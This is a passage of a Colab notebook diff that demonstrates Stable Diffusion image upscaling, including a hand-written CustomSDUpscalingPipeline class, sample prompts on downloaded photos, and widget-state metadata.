+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "0c21001820524963b1214a2738c28584",
+            "ea062db0a1ad43af805bf2d86d26d369",
+            "2218df295404427eb6086c25f41946c5",
+            "682dc899e5ee4e24a9c0f1fc928fea6c",
+            "f8c3945c2c554cc9b7ea7435525c4ab4",
+            "b9cf936d26124cad959de16fcf5bea63",
+            "b3ae18d50eb4415b950f98bb38362207",
+            "0df5b95ccc3d4550bb1be7c001f54577",
+            "63a7a29ac462471eb67b275c68faff42",
+            "1ae88e18373a4322bddf0e51e5460a89",
+            "9b2140d07da744348068f013152b1160"
+          ]
+        },
+        "id": "UKtH894dXWHN",
+        "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an old lady\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "cf11071b7b114118a8b0b659167fa09e",
+            "03bce4ac84fd40d485b023e21fe65c4f",
+            "d0e9965e6aa4483da2dfa546b896e645",
+            "22338ed9cec54338ad33267ed579603a",
+            "622d32a9bbda46fca3ee0733be303765",
+            "ec0c44e82a814774823e60634d678b0d",
+            "e71abb2ba1b546ff9d7acd0c174f60d4",
+            "1237bd63fa814b57bbd9741296d71f46",
+            "5b3ca63a1af5452cb81fde6020fd9c53",
+            "a5971d5b793545a3845fbe1029b557e1",
+            "8384173365364cd5996018a775b167e2"
+          ]
+        },
+        "id": "L8fnlZsaDBHw",
+        "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "OTJNWtuyXOnE",
+        "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "dXXzMj7vXf5W",
+        "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n",
+        "shape = (450, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 453,
+          "referenced_widgets": [
+            "64373eefa4884b3084975549efcbd7fe",
+            "d8b3f3c7b8394b5580d8541f20c090ae",
+            "634af1f0b6894726bebb7b546c667169",
+            "5b89e69b011a40918b1acc0adf141874",
+            "9c01417376444eed820394ef843c0be3",
+            "db833b8a924f43208063cdc7b74220f7",
+            "d74c7ced9e5841e0a3635bf848912874",
+            "6a72b26cbdf041e7a8331fdc1642dee5",
+            "3c4dca0b51954031905bada22feef684",
+            "1e276839600443fa82ca0ab00409fd99",
+            "639d147ac3674094be21de9f3c11477c"
+          ]
+        },
+        "id": "xjH0CWRHXf7o",
+        "outputId": "b1ed8851-6243-43b8-d995-93129640b70d"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"zebras drinking water\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 419
+        },
+        "id": "ydbUyEFvXf_E",
+        "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((1800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "MFt4Y1AoYWse"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Ng2oJwHqYWvz"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "NiM8uOTr9DK3"
+      },
+      "source": [
+        "# Custom\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "yCuWhxws9D24"
+      },
+      "outputs": [],
+      "source": [
+        "from tqdm import tqdm\n",
+        "from torch import autocast"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "T7PrARPl9EN2"
+      },
+      "outputs": [],
+      "source": [
+        "class CustomSDUpscalingPipeline:\n",
+        "    \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n",
+        "\n",
+        "    def __init__(self,\n",
+        "                 vae,\n",
+        "                 tokenizer,\n",
+        "                 text_encoder,\n",
+        "                 unet,\n",
+        "                 low_res_scheduler,\n",
+        "                 scheduler,\n",
+        "                 image_processor):\n",
+        "\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.low_res_scheduler = low_res_scheduler\n",
+        "        self.scheduler = scheduler\n",
+        "        self.image_processor = image_processor\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_text_embeds(self, text):\n",
+        "        \"\"\"returns embeddings for the given `text`\"\"\"\n",
+        "\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text,\n",
+        "                                    padding='max_length',\n",
+        "                                    max_length=tokenizer.model_max_length,\n",
+        "                                    truncation=True,\n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "        return text_embeds\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds for classfier free guidance\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "\n",
+        "    def transform_image(self, image):\n",
+        "        \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n",
+        "\n",
+        "        image = self.image_processor.postprocess(image, output_type='pil')\n",
+        "        return image\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n",
+        "        \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n",
+        "\n",
+        "        image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n",
+        "        # scale the initial noise by the standard deviation required by the scheduler\n",
+        "        image_latents = image_latents * self.scheduler.init_noise_sigma\n",
+        "        return image_latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def denoise_latents(self,\n",
+        "                        prompt_embeds,\n",
+        "                        image,\n",
+        "                        timesteps,\n",
+        "                        latents,\n",
+        "                        noise_level,\n",
+        "                        guidance_scale):\n",
+        "        \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(timesteps)):\n",
+        "                # duplicate image latents to do classifier free guidance\n",
+        "                latent_model_input = torch.cat([latents] * 2)\n",
+        "                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n",
+        "                latent_model_input = torch.cat([latent_model_input, image], dim=1)\n",
+        "\n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(\n",
+        "                        latent_model_input,\n",
+        "                        t,\n",
+        "                        encoder_hidden_states=prompt_embeds,\n",
+        "                        class_labels=noise_level\n",
+        "                    )['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n",
+        "\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+        "\n",
+        "        return latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def __call__(self,\n",
+        "                 prompt,\n",
+        "                 image,\n",
+        "                 num_inference_steps=20,\n",
+        "                 guidance_scale=9.0,\n",
+        "                 noise_level=20):\n",
+        "        \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n",
+        "\n",
+        "        # encode input prompt\n",
+        "        prompt_embeds = self.get_prompt_embeds(prompt)\n",
+        "\n",
+        "        # preprocess image\n",
+        "        image = self.image_processor.preprocess(image).to(self.device)\n",
+        "\n",
+        "        # prepare timesteps\n",
+        "        self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n",
+        "        timesteps = self.scheduler.timesteps\n",
+        "\n",
+        "        # add noise to image\n",
+        "        noise_level = torch.tensor([noise_level], device=self.device)\n",
+        "        noise = torch.randn(image.shape, device=self.device)\n",
+        "        image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n",
+        "\n",
+        "        # duplicate image for classifier free guidance\n",
+        "        image = torch.cat([image] * 2)\n",
+        "        noise_level = torch.cat([noise_level] * image.shape[0])\n",
+        "\n",
+        "        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n",
+        "        num_channels_latents = self.vae.config.latent_channels\n",
+        "        batch_size = prompt_embeds.shape[0] // 2\n",
+        "        height, width = image.shape[2:]\n",
+        "        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n",
+        "\n",
+        "        # denoise latents\n",
+        "        latents = self.denoise_latents(prompt_embeds,\n",
+        "                                       image,\n",
+        "                                       timesteps,\n",
+        "                                       latents,\n",
+        "                                       noise_level,\n",
+        "                                       guidance_scale)\n",
+        "\n",
+        "        # decode latents to get the image into pixel space\n",
+        "        latents = latents.to(torch.float16)\n",
+        "        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n",
+        "\n",
+        "        # convert to PIL Image format\n",
+        "        image = self.transform_image(image.detach()) # detach to remove any computed gradients\n",
+        "\n",
+        "        return image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "iPMCQB179EQN"
+      },
+      "outputs": [],
+      "source": [
+        "# get all the components from the SD Upscaler pipeline\n",
+        "vae = pipeline.vae\n",
+        "tokenizer = pipeline.tokenizer\n",
+        "text_encoder = pipeline.text_encoder\n",
+        "unet = pipeline.unet\n",
+        "low_res_scheduler = pipeline.low_res_scheduler\n",
+        "scheduler = pipeline.scheduler\n",
+        "image_processor = pipeline.image_processor\n",
+        "\n",
+        "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "HUxdvfo7eLcq"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "SgbP2oQl9EUk",
+        "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher\"\n",
+        "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "Wf8MTwFCeRrR",
+        "outputId": "17827131-0f99-408e-b61d-ff802509baa9"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 546
+        },
+        "id": "QzkJk4Jo9Eca",
+        "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"a professional photograph of a lion's face\"\n",
+        "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "tT3jd43tdbeg",
+        "outputId": "d7a8e0a7-1ed1-4c18-8b6c-b5dcbf4c4fb5"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "5JUP7spYdbh2"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "00cdbd64ce7d4b5a835a550ffc6b3510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "02ce6e12de0f4ff1ab8029cf16e5fb99": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "03856828685f4f9791a0c00f9b4f5ed5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "03b9fb0d0fa44ac8bf1a6aa678ff82c8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03bce4ac84fd40d485b023e21fe65c4f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec0c44e82a814774823e60634d678b0d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e71abb2ba1b546ff9d7acd0c174f60d4",
+            "value": "100%"
+          }
+        },
+        "07a431a9456648b6bcbfa899ee0014ac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_639d6afb1b0440f98ce7e26cb621a111",
+            "max": 348,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7a9ce1cc3d71457797b0b1ca2831d514",
+            "value": 348
+          }
+        },
+        "080c7086e8684bb3bb857d23f426d5dd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0854db4c71b449a9b15e994a38a1ca13": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "085ee070cea44624806bcc7ada5ae36e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0a49275d970741f9b19f24569b80491a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0c21001820524963b1214a2738c28584": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ea062db0a1ad43af805bf2d86d26d369",
+              "IPY_MODEL_2218df295404427eb6086c25f41946c5",
+              "IPY_MODEL_682dc899e5ee4e24a9c0f1fc928fea6c"
+            ],
+            "layout": "IPY_MODEL_f8c3945c2c554cc9b7ea7435525c4ab4"
+          }
+        },
+        "0d89ddfa9593441097ce8e42614ef775": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_665a3a25e6d543d79e2e321aec4954aa",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d3971f94fa5f433580509a27ce3ad017",
+            "value": "Downloading (…)8440/vae/config.json: 100%"
+          }
+        },
+        "0df5b95ccc3d4550bb1be7c001f54577": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0fcb664708324ec1bc56c4daa4a2dd15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5af1c44c0f434510abd7fe9d76f263da",
+            "placeholder": "​",
+            "style": "IPY_MODEL_895dd88b169e4688a51873bb1b3d2cd9",
+            "value": "Downloading model.safetensors: 100%"
+          }
+        },
+        "10d895cb5166417fa2b4cc0d2feb7b6f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1237bd63fa814b57bbd9741296d71f46": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "17c87915e01b4d2fa79042759bf1a57d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_29fb67ab990343b6a374b35718b8a6c1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0854db4c71b449a9b15e994a38a1ca13",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "18ba1c9da9714f2494c06570e4dc1d64": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
